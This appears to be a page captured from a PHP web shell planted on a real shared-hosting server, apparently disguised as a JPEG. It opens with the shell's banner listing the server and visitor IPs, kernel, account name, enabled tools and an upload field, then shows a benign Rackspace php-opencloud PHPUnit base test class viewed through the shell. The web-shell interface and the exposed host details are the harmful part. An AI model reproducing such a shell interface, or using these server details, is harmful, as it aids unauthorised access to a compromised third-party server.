����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/././www/vendor/rackspace/php-opencloud/tests/OpenCloud/Tests/ |
Upload File : |
<?php
/**
* Copyright 2012-2014 Rackspace US, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
namespace OpenCloud\Tests;
use Guzzle\Http\Message\Response;
use OpenCloud\Rackspace;
abstract class OpenCloudTestCase extends \PHPUnit_Framework_TestCase
{
const COLLECTION_CLASS = 'OpenCloud\Common\Collection\ResourceIterator';
const RESPONSE_CLASS = 'Guzzle\Http\Message\Response';
const ANNOTATION_FILE = 'mockFile';
const ANNOTATION_PATH = 'mockPath';
public $client;
protected $mockPath = './';
protected $testDir = '_response/';
protected $testExt = '.resp';
protected $currentMockSubscriber;
public function newClient()
{
return new Rackspace(Rackspace::US_IDENTITY_ENDPOINT, array(
'username' => 'foo',
'apiKey' => 'bar'
));
}
public function getClient()
{
return $this->client;
}
public function setUp()
{
$this->client = $this->newClient();
$this->client->addSubscriber(new MockSubscriber());
$this->client->authenticate();
$this->setupObjects();
$this->handleMockSubscribers();
}
public function tearDown()
{
$this->client = null;
}
public function handleMockSubscribers()
{
$reflection = new \ReflectionMethod(get_class($this), $this->getName());
if (false == ($mockFile = self::parseDocBlock($reflection->getDocComment()))) {
return;
}
$mockPath = self::parseDocBlock($reflection->getDocComment(), self::ANNOTATION_PATH);
$mockFilePath = $this->getTestFilePath($mockFile, $mockPath);
if (file_exists($mockFilePath)) {
$this->getClient()->getEventDispatcher()->removeListener('request.before_send', 'onRequestBeforeSend');
$this->addMockSubscriber($mockFilePath, 0);
}
}
protected static function parseDocBlock($string, $annotation = self::ANNOTATION_FILE)
{
$pattern = sprintf('#\@%s\s(\w+)#', $annotation);
preg_match($pattern, $string, $matches);
return (isset($matches[1])) ? $matches[1] : false;
}
protected function getTestFilePath($file, $mockPath = null)
{
$mockPath = $mockPath ? : $this->mockPath;
return ROOT_TEST_DIR . $mockPath . '/' . $this->testDir . $file . $this->testExt;
}
protected function addMockSubscriber($response)
{
$this->currentMockSubscriber = new MockSubscriber(array($response), true);
$this->getClient()->addSubscriber($this->currentMockSubscriber);
}
public function setupObjects()
{
}
public function makeResponse($body = null, $status = 200)
{
return new Response($status, array('Content-Type' => 'application/json'), $body);
}
public function isResponse($object)
{
$this->assertInstanceOf('Guzzle\Http\Message\Response', $object);
}
public function isCollection($object)
{
$this->assertInstanceOf(self::COLLECTION_CLASS, $object);
}
/**
* Call protected/private method of a class.
*
* @param object &$object Instantiated object that we will run method on.
* @param string $methodName Method name to call
* @param array $parameters Array of parameters to pass into method.
*
* @return mixed Method return.
*/
public function invokeMethod(&$object, $methodName, array $parameters = array())
{
$reflection = new \ReflectionClass(get_class($object));
$method = $reflection->getMethod($methodName);
$method->setAccessible(true);
return $method->invokeArgs($object, $parameters);
}
}